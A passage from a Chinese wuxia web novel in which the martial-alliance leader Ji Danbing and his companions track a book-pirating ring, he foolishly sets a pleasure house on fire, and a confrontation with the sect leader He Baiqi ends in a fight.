“你!”小月仿佛是被她气到了,她的手微微一颤,悄然之间攥得更紧了。 苏红袖目光柔中带波,对我说:“小兄弟,你信我吗?” 我犹豫了。 她柔软的目光仿佛要融化我的骨头,我想要相信她。但当我触到小月那如刀一般的眼睛时,我却不敢不去摇头。 苏红袖叹了口气,说:“既然如此,我也没有办法了。不过,你们与其在这里浪费时间逼问我,倒不如问一下楼下那位李同道李大老爷。” 我说:“为何?” 苏红袖说:“趣笔阁的阁主名叫何中人,同道中人,你难道觉得这仅仅是一种巧合吗?” 这的确不像是一种巧合。 这绝不一种巧合!我坚信,这其中定然有着某种联系。 我和小月交换了一下眼神。看得出,她心中的想法与我不谋而合。 我转头想 要向苏红袖道谢,却听见苏红袖“呃”地叫了一声。那如月牙儿般的笑眼,瞪得像满月一样圆,满脸错愕地看着小月,嘴唇动了动,一句话也没说出口,便倒在了地上。 “你为什么要杀她?”我质问小月。 小月收起剑,有些酸涩地问:“你心疼了?” 我说:“我没有。可是,你不能杀一个无辜的人。” 小月没有说话,冷哼一声,转身离去。我拉住小月的胳膊,怒道:“你不能走!你怎么可以随便杀人!” 小月说:“你放开我!” 我说:“我不放!” “呃!”地上的苏红袖嘴里发出一声呻吟,似乎十分痛苦。 小月说:“我下手不重,你若再不走,她可就要醒了!” 2. 蹲在红袖阁的红顶上,看着楼下如粥一般涌动的人群,我和小月犯了难。 要怎么样才能抓住李同道呢? 我想,小月也在同样思索着这个问题。小月说:“李同道在最里面,外面都是人,若我们在楼上冲下去,被围在其中只怕插翅难逃。” 我点了点头。小月的顾虑,很有道理。 我说:“那我们要怎么办?” 小月摘下青面獠牙的面具,露出那张美丽的脸,她说:“等这些人都散了,我们再动手吧!” 或许是面具戴的久了,她额头上铺满了一层细密的汗珠,在阳光下晶莹透亮。 摘下面具,小月用白袖抹去额头的汗珠,畅快地吸了一口气,莞尔一笑,露出一对浅浅的笑窝。 “你看什么!”小月发现我在看她,脸色一变,冲我狠狠地说。 我赶紧低下了头。想起那夜的事,我心里一阵挣扎。挣扎了许久,我一咬牙,说:“对不起。” 小月没有说话。她似乎是沉默了许久,久得让我开始怀疑她是不是已经不在我身边了? 我鼓起勇气去看她,她也正看着我。只是,她的表情里满是苦涩,美丽的双眸之中时候有溪水流动一般。 “你指的是什么?”小月的声音有些幽咽。 我说:“那晚……我不是有意的。” 小月忽然抬起来拳头,我赶紧抱头。只是那拳头却很久都没有落下,直到小月靠在我身上,她那熟悉的幽香变得清晰无比。 我轻声地喊她的名字:“小月?” 她说:“你别说话!” 又过了一会儿,我感觉小月的身子有些抽搐,我又轻声喊她名字。 她依旧说:“你别说话!让我靠一会儿!” 感觉是过了很久。我忐忑不安地等待着时间的流逝。等到最后,却听见小月说:“ 傻子。我明知道,你心里的那个人不是我。可是……我还是忍不住!我忍不住放下恨你,我忍不住想要来找你!我真的忍不住……可是,无所谓了,既然我来了,我便不会再走了,就算你心里的那个人不是我,我还会陪在你身边。就这样,就很好……” 不是的,小月,我心里的那个人就是你。我一直喜欢的就是你。我想要开口告诉她,在我刚开口的那一刻,却听见小月说:“你别说话!” 3. 时间久了。小月靠在我的身边睡着了。 那句话,我始终没有说出口。 等以后吧。有机会了,我一定要告诉她。她就是我心里一直想着的那个人。 看着楼下拥挤的人群,听着不断传来的吵嚷声。 三楼的房间里,一阵叮当咣啷的声响。还传来几个汉子的叫嚷:“老板娘,都搜遍了,没有!” 接着传来苏红袖恶狠狠的声音:“跑得可真快,让老娘逮住,非扒了他们的皮!” 我忍不住呵呵一笑,心想,这世间妖媚女人的另一面,果然都是不同一般的狠毒。 不知道楼下的情况如何了,红袖阁头牌墨香的赎身竞标似乎还是没有什么结果。 要等到何时才是个头呢?我不禁苦恼。 忽然,我想起当年在雁荡山的一段往事。 那年,马维进带队出灵峰寨火拼隔壁山头的披风寨。 披风寨与灵峰寨同在雁荡山上,灵峰寨在灵峰,披风寨在另一座山峰。 灵峰寨来得早,披风寨来得晚。 马维进拍烂了桌子,大骂:“他娘的,敢到老子这里抢地盘。” 俗话说,一山难容二虎。何况是比老虎还要凶悍的山贼呢。因此,马维进举全寨之力,到披风寨前叫阵。就连赵小娥等女眷也换上了男人的衣服,被带到披风寨前充典人数。 而我,则是替马维进看着这些女眷,防止她们逃跑。 披风寨高墙坚固,马维进等人久攻不下,只好带着一众兄弟在寨子前叫骂,想要将他们激出来。 一直叫骂到后半夜,所有人的嗓子都要冒烟了,披风寨的人依旧不为所动,死守着寨门,不移寸步。 入夜以后,马维进担心披风寨的人趁夜逃跑,便命令我们这些前来凑数的无用之人四处巡逻。 披风寨山门在北,马维进便安排了我和那些女眷到最南侧去巡逻。因为,我们最没有用。 披风寨南侧是一道山涧,两旁有葱郁的树木,根本没有逃跑的可能。夜晚,山涧里吹来的风又冷又湿,让人难堪忍受。我们各自散开,寻找遮风的大树,在寒冷的风中忍受着,期盼着何时 才能得令离开这个鬼地方。 赵小娥找到了我,她笑着,一直手从自己的领口伸向到怀里,一阵摸索。我环顾四周,说:“这里不行!” 赵小娥脸颊一红,啐了我一口,说:“想什么呢!”她从自己怀里掏出两块面饼,还有一包肉干,冲我俏皮一笑,同时炫耀着她手中的美味。 我俩就地生火,准备暖暖地饱餐一顿。山涧的风一吹,火焰高涨,面饼如同被吹了气一般,登时被烤得鼓鼓囊囊,传来一阵诱人的香气。 山涧的风又一吹,高涨的火焰一晃,引燃了地上的枯枝,枯枝引燃了藤蔓,藤蔓烧起的火焰盘旋上升,点燃了一颗大树。 大树引燃了一片树林,山涧的风呼呼地吹向山寨。当我带着一群女眷跑远时,一颗半天古树,冒着熊熊火焰,砸向了在烟火中摇曳的披风寨。 披风寨的南侧一片火海。 所有的人都从正门逃了出来,早已在寨门口守候的马维进等人喜出望外。本已是黔驴技穷,却意外柳暗花明。 成功荡平了披风寨之后,马维进论功行赏。庆功宴上,马维进亲自将一块象征着灵峰寨最高荣耀的猪头送给了我。 那只猪头,我吃了整整三个月。 看着楼下拥挤的人群,这高楼无意就成了横在我和李同道之间的围墙。 我头脑中灵光一闪,心道,何必等到天荒地老,一把火点了这红袖阁,还怕这李同道不怕?! (本章完) 第二卷 武林盟的开始与结局 第一百一十八章 大火 1. 我轻轻推了推小月。 她睡得很沉,像是许久都没有睡觉一样。看着她的样子,我不忍打扰,便扶着她的身子将她轻轻地靠在屋顶突出的玉石台上。 小月,你睡吧。这一切交给我,等你再睁开眼睛时,一切都结束了。 我这样想着,透过天井翻入了红袖阁中。 这时,苏红袖等人早已不见了踪影。整个红袖阁的三楼,都是空空荡荡的。楼下大厅里吵嚷的竞价声音依旧不绝于耳。那些男人近乎疯狂地撕喊着,墨香地赎身价格已经竞到了五千两。 竞价到这个程度。墨香已经不重要了,其实更加重要的,是那些参与竞标的达官显贵们,对他们来说,这时不仅仅只是对墨香地争夺,更多的是一场关乎颜面的较量。 我随便进了一间屋子,一间空空荡荡地屋子里,绯红的纱帐从屋檐一直垂落到地上,一片片交叠在一起,让气氛显得一场迷蒙。 然而,这迷蒙的气氛,却给我点火制造了绝佳的条件。 当火折子发出的红光照亮绯红的纱帐时,我深吸了一口气。 火,对我来说,是一种痛苦的回忆。它无形中会将我的思绪拉回到那夜漫天火海的雁荡山。 然而,此刻,我需要一把火,点燃这一切,把李同道还有将红袖阁围得水泄不通地那些看客,彻底撵跑。 这把火,入我所希望的那样点燃了。 看着绯红的纱帐冒起浓烟,我忍不住地笑。 天才的计谋! 2. 我从天井翻上屋顶时,浓烟已经弥漫了整个三楼的走廊。刺鼻的浓烟从天井里涌出来,我坐在小月身边,她微微一蹙眉,鼻翼微动,陡然间睁开了眼睛。 “怎么了?!”小月惊恐地看着天井里冒出地浓烟。 我骄傲地笑着,说:“很快!很快李同道就会从红袖阁里跑出来!” 小月目不转睛地盯着我,问:“火是你放的?” 她是在崇拜我吗? 她应该崇拜我的。这样天才般的主意,不知省却了我们多少无谓地等待。 小月一拳垂在我的胸口,虽然不重,却恰到好处地表示了她的愤怒。她吼道:“姬旦丙,你是不是傻啊?火往上走,不等楼下人察觉,我们就已经被烧死了!” 她这样一说,我的确感觉自己屁股下的几块青瓦比我离开时更烫了一些。 我慌了,问:“我们怎么办?” 小月站起身来,她蹙眉远眺,嘴上说着:“等死吧!” 就这样死了吗? 我没有被江湖上的杀手杀死,却被自己放的一把火烧死了。更让我感到懊悔的 是,我害死了小月。 忽然,天井的井口一红,一条火舌从浓烟中喷了出来,喷出数丈高。 我慌忙扶住小月,满心内疚,说:“对不起,小月,是我害了你。” 小月推开我的手,向我挤了一个白眼,说:“还说这些有什么用。快想办法走吧。” 这座楼莫约有七八丈高,直接跳下去,凭借轻功,虽然不至于粉身碎骨,却也有极大的可能摔得五脏俱裂。总之是死路一条。 再看两边。红袖阁修建得甚是孤傲,与左右楼宇各不相连,中间隔着一道三四丈宽的巷子。想要越过去,对于小月来说,似乎并不艰难。 但对于我来说,却说难上加难。 我将小月拉到房顶的一侧,说:“别管我了,你跳过去吧。” 小月的明眸看着我忽然闪动了一下,她问:“我走了,你怎么办?” 我说:“你不用管我。” 小月挽起我的手臂,她温柔地笑着,说:“要走一起走,我带你过去。” 不! 她一人过去,将是一片生机。如果她带着我,那便是九死一生。我绝不能将小月置身于危险之中。我推开小月的手,说:“我只要你活着,其他什么都不要管。” 小月的目光有些错愕,她看着我,眼圈忽然红了。她说:“为了我,你连性命也可以不顾了吗?” 我回头看着天井上喷出地火焰,像一条急于挣脱桎梏的火龙。脚下地青砖烫得已经穿透了鞋底,脚心都是火辣辣的温度。 或许,真的是已经活不成了。 那我还有什么顾虑呢? 我说:“今天如果注定我不能活着,那我希望你好好地活下去。不要再为我冒险了。” 一颗泪从小月发红的眼眶中滑下。从她脸颊滑落的瞬间,就像是一颗晶莹的晨露划过美艳的百合。她说:“你这么在乎我吗?” 我点了点头,我说:“我当然在乎你。”我觉得这样的表述还不够,我补充了一句,说:“我心里一直都在乎你。” 如果不是这样的生死边缘,我不能鼓起这样的勇气。 楼下的人已经开始尖叫。 “着火了,快跑呀!” 如果不是这样的生死边缘,我也不能体会到陆家的轻功是怎么样的惊世骇俗。 就像是九天玄女踏着彩虹桥穿过天际一样。小月带着我,在空中跃起,划了一个完美的弧线,然后稳稳当当地落在了旁边楼宇的屋顶上,踩上了冰凉的青砖碧瓦。 竟然,这么轻松地就逃脱了! 那我刚才说的那些话...... 想起来,我顿时脸上一阵火辣辣的, 不敢去看小月的眼睛。 小月挽着我的胳膊,她笑嘻嘻地看着我,说:“你的脸怎么红了?” 我想了想,说:“被火烤的。” 小月一记粉拳打在我身上,她嗔了一句:“你还敢提火这个字,你看你干的好事!” 整个花街一片混乱。人群以红袖阁为中心,像是逃难的蝼蚁一样,向四面八方涌出。 我仔细看着,说:“李同道在哪里?” 小月叹了口气,说:“这么多人乱成一团,早不知道去哪里了。” 我讷讷地看着在烟火中摇晃的红袖阁下,那早已逃得不知踪影的围观人群。楼下只剩下苏红袖和二十几名衣着妖艳的女子,互相抱头掩面哭泣。 3. 我又做错了。 我自以为天才的计谋,实际上成了一场愚蠢至极的闹剧。 回到济春堂时,房大全已经醒了。虽然他的面色依旧是苍白如纸,但好在是他已经醒了,并且可以勉力站起来。 他对我说:“多谢姬兄弟护送。” 我笑了笑,说:“不用谢。” 李济春的神情十分激动,他指着窗外的手不停地抖,眼睛瞪得如同牛铃一般大小。他说:“那火是你们放的?” 我说:“是。” 李济春一拍手,表情痛苦,嚎道:“造孽啊!你一把火烧了我济春堂三成的生意啊!” 看着李济春的样子,我感到无比歉意,我说:“节哀顺变!” 李济春瞪着我,说:“娘的!我家人活得好着呢!” 李小谦摇头叹息一声,说:“趣笔阁的事,只怕线索就断了吧。” 我点了点头,将到了红袖阁是如何擒住苏红袖,苏红袖又是如何说的,我又是因何点了一把大火,向着他们一一道来。 李小谦听完,连连点头说:“得亏我没去,不然我得和你一起去放火。” 我不解,问:“为什么?” 李小谦说:“老子从初中物理就倒数,火往上走的道理,我还真不知道!” 听李小谦这么一说,不知为何,我心里莫名宽慰了许多。 我说:“接下来怎么办?” 李小谦却脸色突变,一把抓住了李济春的衣襟,骂道:“王八蛋,你敢骗我们!” 李济春的目光茫然而惊恐,他喊道:“我,我没有!我句句属实!” 李小谦喝道:“那么苏红袖为什么说她不知道趣笔阁在哪里,而让我们去找李同道?我们本来就是要去找李同道的,你故意抛出苏红袖,扰乱我们的视线,是不是?!” 李济春连连摆手,说:“冤枉!冤枉!你们被苏红袖骗了,她肯定 知道趣笔阁在哪里。再说,趣笔阁的阁主根本姓何不假,但他根本不是叫何中人。你们被苏红袖骗了!” 我和小月对视一眼,小月问:“那趣笔阁的阁主叫什么?” “何,何白旗!” 这个名字从李济春口中一出,我胸口如同遭受重击一般,猛然地颤了一下。 我们所有的人表情除了惊讶便只剩下惊讶,谁会想到这样一个翻印书册的地下组织,其幕后老板竟然是位列江湖十大门派之一的往生堂堂主何白旗! “是哪个何白旗?是往生堂的那个何白旗吗?”房大全抢先一步,他还在颤抖的手扶住李济春的肩膀,满脸的焦急与不可置信。 李济春说:“我,我不知道什么往生堂,我只知道趣笔阁的阁主名叫何白旗。” 小月忽然面色一沉,她手中的宝剑向外一滑,露出三寸白刃。她说:“这应当是极为隐密的事,你是怎么知道的?” 李济春说:“一次,我去红袖阁为苏红袖诊病,她遣人将一封信笺交给趣笔阁,那封信笺上便这些何白旗亲启五个字。我看得真真切切,绝对是何白旗这个名字没错。” 他的神情严肃,而是真诚,不像是说谎的样子。所以,小月缓缓收起来剑,她看我一眼,冲我点了点头。 我说:“那……我们直接去找何白旗!” 小月说:“空口无凭,只怕他不会承认的!” 李小谦点了点头,说:“不错。为今之计,还是要找到趣笔阁的藏处。” 房大全冷哼一声:“何必如此麻烦,我便直接去找何白旗,若真是他干的,任凭他是什么往生堂也好,来生堂也好,我都要杀他个干干净净!”他说到激动处,青筋在苍白的脸上暴起。 李小谦轻轻拍了拍他肩膀,说:“老兄别激动哈。当心伤口崩裂,去不了往生堂,先走上来生路了。” 他俩一来一回,说得好像穿越,重生一般。狗血剧情。 我说:“我们去找证据!” 说完,我看遍每一个人的脸,他们没有一个人反对。当我看向小月时,小月正转身看着窗外,她目光深邃而坚定,延伸的方向,是那个已彻底沉入火海的红袖阁…… (本章完) 第二卷 武林盟的开始与结局 第一百一十九章 荒村 1 绣字春衫好, 繁花锦落时, 世间只余胭脂骨, 此生梦中错。 2 绍兴十五年,五月中。 红袖阁一片被火烧尽的废墟中,一群泪眼婆娑的女子,望着她们赖以生存的家园,眼中除了伤心欲绝,还有对我无尽的痛恨。 然而,当我出现在苏红袖面前的时候。她的脸上虽然又恨,她的目光虽然如冰霜一般的冷,但她却没有说一句话,也没有如我担心的那样,从未知的地方冷不丁地拔出一把匕首,刺破我的胸膛。 她只是将一个绣着小诗的丝帕扔给了我,然后带着一群哭成泪人的女子漠然离去。 我看着方帕上娟秀的小字,还有那首不拘一格的小诗,心中充满了愧疚。 我喊住苏红袖“你等等。” 苏红袖停下脚步,缓缓回头,冷冰冰地看着我,说“你还有什么事?” 我举起那方丝帕,问“这是什么意思?” 苏红袖说“如果我手里有块砖头,我绝不会只扔给你一个丝帕!” 我还是没有明白,总感觉这方丝帕的小诗中另有深意。我说“它和趣笔阁有关系吗?” 苏红袖的目光更冷,她说“为了一个趣笔阁,你就可以烧了我的红袖阁。你可知,这是我一生的心血。你这一把火将还得这些姐妹从此无家可归。” 她的话,让我陡然沉入愧疚的潭底,我说“对不起,我不是有意的。”我感觉这样的道歉苍白无力,对她们并没有丝毫的帮助,我补充了一句“如果你们无家可归,就去临安武林盟吧。” 李小谦贴在我耳边,语气中是满满的激动。他说“兄弟,好样的!” 苏红袖怔怔地看着我,她说“你到底是谁?” 我说“我叫姬旦丙。” 一群女人破涕为笑,又哭又笑,十分怪异。苏红袖似乎是思索了些什么,她脸色一变,轻声地问“你,你是武林盟主?” 这样的称呼,无论在什么时候,都让我莫名地心情大好。我点了点头,说“不错。” 苏红袖忽然态度大变,她向我欠身行礼,说“小女子之前多有得罪,还请盟主见谅。” 这画面,陡然间和谐了许多。 我笑道“见谅,见谅!” 苏红袖又说“盟主是要追查趣笔阁盗版翻印一事?” 我说“你能告诉我吗?” 苏红袖扭头看着付之一炬的红袖阁,惨然一笑,说“如今都已成了这样,还有什么不能说的呢。”她回头看着我时,竟然是一副勾魂的媚眼,嘴角上扬,是一种撩人的 微笑,她说“出吉安城向北三十里,有一座荒村,那里便是趣笔阁的所在。” 我心中惊喜万分,连忙道谢。 苏红袖媚笑着向我走来,几乎要贴在我身上,她一张口,嘴里扑出如兰花一般的清香,她说“盟主说,让我们去临安武林盟,可是真心的?” 我向后退了两步,抬手数了数她身后的女子“一、二、三、四二十二、二十三”最后,手指停在苏红袖的身上时,我说“二十四可以,只是有些拥挤。” 苏红袖咯咯一笑,说“墨香和沉香两位姑娘只怕不会去了,今日已有人为她们赎身了。盟主,我们临安见。” 这又是一笔不小的开销不知柳无风会不会同意。 我强行挤出一个微笑,说“临安见。” 苏红袖转头走了。临走时,她细长白嫩的手指摸了一把我的脸颊。看着她们离开的背影,我心里莫名的一丝不安 武林盟,真的可以留下她们吗? 她们走远了。李小谦激动地又蹦又跳,拍着我的肩膀,大叫“兄弟,这次爽了!武林盟变成停车场,公交汽车各种开啊!” 我挠着头问“什么意思?” 李小谦只是笑,笑得无比灿烂。我却在笑声之中听到一声冷哼。 我看向小月,她双目如刀,狠狠盯着我,咬牙切齿地说“下流!” 3 出吉安城向北三十里。 无名荒村。 这是一座荒废了许久的村落。从一间间破败不堪的屋子,和屋脊房檐下结的密密实实的蛛网,可以看出,这间村落荒废得的确是太久了。 黄昏时候,这里已经无处不透出诡异的阴气。冷森森地,让人不寒而栗。 房大全眉头紧锁,悄然之间已经抽出了那柄龙神刀。 刀柄上盘旋的神龙,就像他此刻疲倦的脸一样,无神! 李小谦说“兄弟,你还能撑得住吗?” 房大全看了一眼小月,小月并没有看他一眼。他重重地点头,说“无妨!” 李小谦啧啧两声,说“兄弟,我最佩服你这种不要命的。若我是个女人,一定会嫁给你这种硬汉。” 房大全苍白的脸竟然红了,他悄悄瞥了一眼小月,说“李兄,不要乱说。” 李小谦偷笑,贴在我耳边说“今天,这哥们儿一准死在这儿。” 我问“为什么?” 李小谦说“强装逼者,必死无疑!” 我们正在荒村的小巷中缓步走着,忽然一阵窸窸窣窣的脚步声从不远处传来。小月 急忙转身做了一个噤声的动作,身子靠在墙上,竖耳听声。 我们四人贴在墙上,站成一排,几乎所有的人都屏住了呼吸,四周一片寂静,只听见那窸窸窣窣的声音,离我们越来越远。 直到脚步声听不到了,小月才说“大约七八人。我们小心些过去看看。” 她刚想走,却有一只手从我身旁穿过,拉住了小月的胳膊。小月温柔地回头看我,我一摊手,随即她冷眼瞪了一眼房大全。房大全如同触电一般地将手缩了回去,他脸颊通红,说话竟然结巴起来“姑,姑,姑” 小月冷冷地说“我没有你这样大的侄儿。” 房大全脸更红了,他慌忙说“娘” 小月一瞪眼,低声喝道“我也没有你这样的儿子!” 房大全原本毫无血色的脸上,这时已血色暴涨,从脖颈一直红到发髻。他的嘴唇抖了很久,才发出声来“你,你,你还是别去了可,可,可能,有,有危险。” 李小谦捂着嘴,笑得已经快喷出口水来了,嘴里不停发着“噗、噗”的声响。 小月白了房大全一眼,说“不关你的事。你也不要管我。”她转身走了,我快步追了上去。我问她“你何必这样为难房大全?” 小月温柔地看着我,说“我讨厌别人对我不怀好意。”忽然,她脸颊一红,咬了咬嘴唇,轻声地说“除了你!” 4 无名荒村里最大的一间宅院。 低矮的院墙前,一拍密密麻麻的脚印。脚印边缘新翻开的泥土显示了刚刚有人经过的痕迹。 小月抬头看着这间院子,轻声地说“应该就是这里了。” 不错。就是这个地方。 我透过门缝向里张望,昏暗的院子里,有隐隐约约的光影闪动。光影中,是明晃晃的七八个人影。 “老大!油墨用完了!” “他娘的,你们出门没有备足油墨吗?” “走得匆忙,所以” “啪!”这是一计响亮的耳光,随即传来一声厉喝“不带足油墨,你出门是来游山玩水的吗?” “一定就是这里了!”房大全厚实的嗓音没有压住,惊动了院子里的人。我透过门缝,看见人员一晃,几乎是瞬息之间就到了眼前。 “什么人?!” 一声厉喝,随即是“咣啷”一声。我慌忙向后一跃,落地时,两扇老旧的木门已被踢得粉碎。 尘埃落地,夕辉将眼前的人影轮廓打得一片金黄。 “果然是你!”我说。 “竟然是你!”他说。 何白旗不敢置信地盯着我。虽然是早已知道了,但当我真正看到何白旗的脸时,仍然免不了一阵惊慌。 何白旗忽然笑了,笑得和善,笑容里还有些心虚。他说“盟主大驾光临,不知所为何事啊?” 房大全提着龙神刀闪到我面前,刀尖儿指着何白旗。何白旗眉头一索,盯着房大全苍白的面色,脸色陡然之间竟也变得无比苍白。 “房房兄弟!”何白旗失声叫道。 房大全一挥龙神刀,刀光映着夕辉,闪过一片金灿灿的亮光。他重重地说“何堂主,这一切竟然都是你做的?!”他从怀里掏出那本虎牙剑法的秘籍,书角已被他用力捏出一团褶皱。 何白旗的脸上闪过一丝慌乱,他结结巴巴地说“房,房兄,你,你听我解释!” 房大全冷冷地将那本虎牙剑法仍在地上,狠狠地踩了两脚,骂道“他娘的,你如此侮辱我龙虎帮,还有什么好解释的!” 何白旗说“我也是被逼无奈。我往生堂困于生计,不得已而为之啊!” 忽然,何白旗抬手指着我,叫道“这,这都是因为他!他是武林盟主,他和白景行一样,一味屈从于朝廷,让各大门派举步维艰,这这都是他们逼得。” 房大全竟然扭头看向我,他仿佛是想到了什么,眼神中也似乎闪烁着犹豫。 小月挡在我身前,冷冷地说“无耻!你自己做了这种勾当,还要将责任推卸给他人。” 房大全猛然扭头看向何白旗,叫道“不管如何,你侮辱我龙虎帮,我便不能饶你!今日,你一定要给我龙虎帮一个交代!” 何白旗向后退了几步,院子瞬息闪出七道人影,挡在何白旗身前,一人手中拎着一根铁棍。 黝黑的铁棍三尺长,那是往生堂一门象征性的兵刃。 房大全苍白的脸色在夕阳的照耀下,似乎是燃起了火焰。他以一种不可饶恕的眼睛瞪着眼前的每一人影。 龙神刀一翻,金光刺目,一场大战又在悄然之间拉开了序幕。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百二十章 黑棍 1、 人生一世,有许多事都是始料未及的。 比如,我想有一个响亮的名字,却偏偏被八矛师父取名叫做“姬旦丙”,由此成了江湖上赫赫有名的一盘好菜。恨我之人,常来一盘,分而食之。 又比如,我想平凡地渡过一生,在喧闹而又安定的临安府,买一个宅子,娶一个女子,生一个孩子,却阴差阳错,成了所谓的武林盟主,无头苍蝇一般地奔波在平息纷乱与维系江湖的道路上。 还比如,一直在小月面前咬着牙苦苦支撑的房大全,历经千辛万苦,终于查到了趣笔阁的下落,眼看着就要提刀恶战,为龙虎帮的声明与威严拼尽全力,然而,却在运转功力的一瞬间,崩裂了全身所有的伤口。 龙神刀在流血。殷红的鲜血顺着锋利的刀刃缓缓流下,一滴滴地滴落在褐色的泥土地上,将房大全脚下的大片土地染成一片暗红。 但这血却不是敌人的。 每一滴血都来自房大全全身崩裂的伤口上。 房大全蓦然回头,苍白的脸色在夕阳下熠熠生辉,仿佛是在他生命的尽头向我们叙述着他辉煌的一生。 他苍白的嘴唇微动,似乎是用尽最后一丝力气,对我们说了一声,谢谢。 他看着小月,炙热的双眼中充满了如同看着这个世间一般的留恋与不舍。 他轰然倒下,手里却还是死死地攥着那柄流淌着金色血液的龙神刀。 “我靠!”李小谦叫道,“哥们儿,你好歹再撑一会儿啊!还这么多人呢!”他抬头看着手提黝黑铁棍的往生堂或者是趣笔阁的人,悄然向后退了两步。 我扶起房大全时,他依旧瞪着双眼,看着夕阳无限,带着对这美好世间的留恋。 我叹息着,心里一片凄凉。 又一个人,死了。在这个世间,生命,当真如初不值一钱吗? 我伸手为他合上双眼。 他却又睁开了。 “让我再看一会儿吧。”房大全气若游丝地说,“我奔波了五年,浪迹江湖,天下海角只为寻找师父的下落,却从没有一刻像此时一样静静地凝望夕阳。” 别说了! 看着他嘴角沁出的鲜血,我心里在喊着。【¥…abc¥…免费阅读】 “若有一日,见到我周师兄,请你代我将龙神刀还给他,并告诉他……”他眼中的光渐渐淡了下去,“我…后…悔…了……” 房大全的目光最终定格在小月的脸上,缓缓地合上了。 2. “不关我的事啊!”何白旗显得很慌乱,他颤抖地指着房大全的尸体,说,“我没有碰他一根汗毛,你,你们要给我作证。他,他可是自己死的……” 一个活生生的人在他面前死去。他所想到的,都是如何推卸掉自己的责任。 若不是因为追查他,房大全怎么会死?难道一条人命,就勾不起他一丝的怜悯与愧疚吗? 我忍不住想笑,笑何白旗的冷血。 “你,你,你笑什么?”何白旗更慌乱了。 我拔出九郎剑,夕阳灿灿,金黄色的剑刃,金黄色的宝石。 “你要做什么?”何白旗向后退了两步。 我说:“我要擒住你,把你交给司徒清尘!” “不!”何白旗叫道,“你休想!” 忽然,他的眼睛不再慌乱,而是变得阴冷,去深谷里的寒霜一般地阴冷。他冷哼一声,说:“我倒忘了……你也未必有这样的本领。” 我一怔,心头接着一颤。 是啊!我哪有生擒何白旗的本领? 但是,话已经说出去了,比试退缩岂不是堕了我武林盟主的威仪。 我还是向前迈了一步。然而,握着九郎剑的那只手,不知不觉间已经沁满了冷汗。 “等等!”李小谦喊了一声,对着何白旗说道,“何门主!今天的事我们可以当做什么都不知道!” “什么?!” 不止我惊讶,何白旗也很惊讶。 何白旗看着李小谦,面色沉重,问:“你有什么条件?” 李小谦说:“管天下的事,你给个态度吧!” 何白旗一怔,呵呵笑道:“原来……盟主是为了这件事。好,好,好!我何白旗可以向盟主保证,往生堂绝对不参与其中。” 李小谦笑着,似乎是听了什么极有趣的笑话,笑得有些接不上气了。他说:“何门主真是会开玩笑。我们替你守着这么大的一个秘密,就为了换你一个不参与吗?” 何白旗沉默良久,说:“你说怎么办?” “你要站出来公开支持武林盟,支持姬旦丙!”说话的是小月。她目光森然如剑,带着冷冷的威逼。 李小谦附和道:“不错!” 何白旗再次陷入了沉默,他时不时地瞥我一眼,脸上都是为难之色。 “行就行,不行就算。你老是看我做什么?!”我愤怒地吼了他一句。 何白旗说:“一面是得罪南华派与龙虎帮,一面是得罪管天下那群人,这样的两难让我如何抉择?!” 李小谦说:“鱼和熊掌不可兼得!” “为什么不可兼得?!”我说。 李小谦一愣,还没来得及说什么,却听见一声高亢的笑声:“哈哈哈哈……说得好!” 何白旗放声大笑,他说:“为什么不可以兼得?!”他笑声戛然而止, 目光冷森森地望向我们,说:“杀了你们,不就行了?” 我心头一颤,只听李小谦哭丧着脸,叫道:“小姬,我这辈子一准死在你手里!” “铮!” 剑声轻吟,划破了还不那么深沉的夜色。天边一弯新月在太阳迟暮以后悄然升起,给小月的剑镀上了一层冷艳的银光。 “想杀人?”小月冷冷地说,“看你有多大的本领了!” “杀了他们!” 何白旗一挥手,七条黑影手边同时响起风声。最前面的两道一跃而起,一人冲向我,一人冲向小月。 九郎剑似乎是活过来一样,我感觉一股纯正的热力正顺着我全身的经络缓缓流动。 一条黑棍劈空砸下,与九郎剑在空中交错出绚丽的火花。 小月在我身旁轻喝,剑锋如骤雨,尚未发挥威力,却又有四条黑影轮着黑棍砸向小月的头颅。 可恶的一群人!他们看准了小月的武功高强,想要群起而攻之。 往生堂的每一人武功都不弱。眼前的这一人已让我深感乏力。他的短棍挥舞得灵巧异常,变化莫测,忽而如刀剑,气势逼人,又忽而如坚盾,密不透风。 交战十几个回合,我只与那人打了一个平手。 小月她以轻功铺底,身影变幻如魅,剑法灵巧如蛇,本应是所向披靡,无往而不利,却在这五根黑短棍面前,渐渐落了下风。 再看李小谦,他脚踏少林轻功,手拿擒龙爪,脚踏降魔踢斗式,那黑影一靠近,他脚尖儿挑起一堆泥土扑那人一脸,然后自己连忙向后退几步。他不断变幻花样,嘴上不停地念叨着,分散对手的注意力,竟然让如此拙劣的伎俩屡试不爽。 “呼”一声。一条黑棍劈空砸下,我下意识地格挡。 “咣”的一声,火花四射,巨大的力道震麻了我半片身子。惊骇之余,我定睛一看,这一棍不是别人,正是何白旗一记提棍劈来。 “哼哼!”何白旗得意洋洋,“就这点本事,还想跟我谈条件!” 忽然,何白旗短棍挺直,向我一杵,电光火石间已逼近我的胸口。我一侧身,短棍贴着我胸前擦过,带着去火一般的灼热。 我胸口一闷,感觉有一股强劲的热气逼入了我的胸口,在我血脉之中乱窜。一时血气翻滚,哇地一口鲜血从我嘴里喷了出来。 “哈哈哈哈……”何白旗放声大笑。 原来,那日在括苍派他与陈大刀对阵之时,竟然保留如此之多! 怎么办?! 苦苦寻了数日,才刚刚揭开谜底,竟然就在这一刻断送了性命吗? “呀!” 小月奋力高呼 ,我只看到空气中划过一道长长的光。一连几声呻吟,几寸剑芒停滞在空中。 一把剑从小月的手中推射出去,直直地穿透了三个人的胸膛! 而下一刻,失去了兵器的小月也已彻底暴露在那无情而黝黑的铁棍之下。 小月! 情急之下,我学着小月的样子推出了九郎剑。光影一闪,剑如离弦的箭,射中的却不是何白旗,而是那道扑向小月的黑影。 “不要!”小月的眼睛中是满满的恐惧。 当我再回过头时,何白旗正跃起在我头上五尺高的地方,一条黝黑的铁棍直直地向我天灵盖的位置砸来。 3. 我手里攥着一个伤痕累累的竹筒,机括的一端在我手心,而另一端已对准了向我砸来的何白旗。 这是我能想到的唯一可以抵抗的方法。 “突,突,突,突…” 一连十几声,极为纤细的银针带着无穷的威力沉入黑夜之中。 何白旗的那一棍终究没有落下,他便已经被十几道银针射飞。 我尝过那种滋味。那种被一根银针射穿的痛苦,简直比死都要难受。而何白旗却中了十几根。 “老大!” 